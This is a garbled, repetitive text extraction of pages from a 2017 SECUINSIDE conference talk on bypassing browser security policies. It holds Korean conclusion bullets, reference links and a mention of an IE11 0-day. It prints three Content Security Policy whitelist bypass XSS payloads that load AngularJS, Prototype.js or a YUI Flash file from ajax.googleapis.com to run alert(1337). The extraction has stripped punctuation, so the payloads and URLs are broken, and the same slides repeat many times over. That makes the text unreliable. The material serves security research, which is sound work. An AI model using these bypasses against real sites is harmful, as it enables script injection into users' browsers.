httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 34: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 35: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 36: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 37: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 38: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 39: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 40: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 41: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 42: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html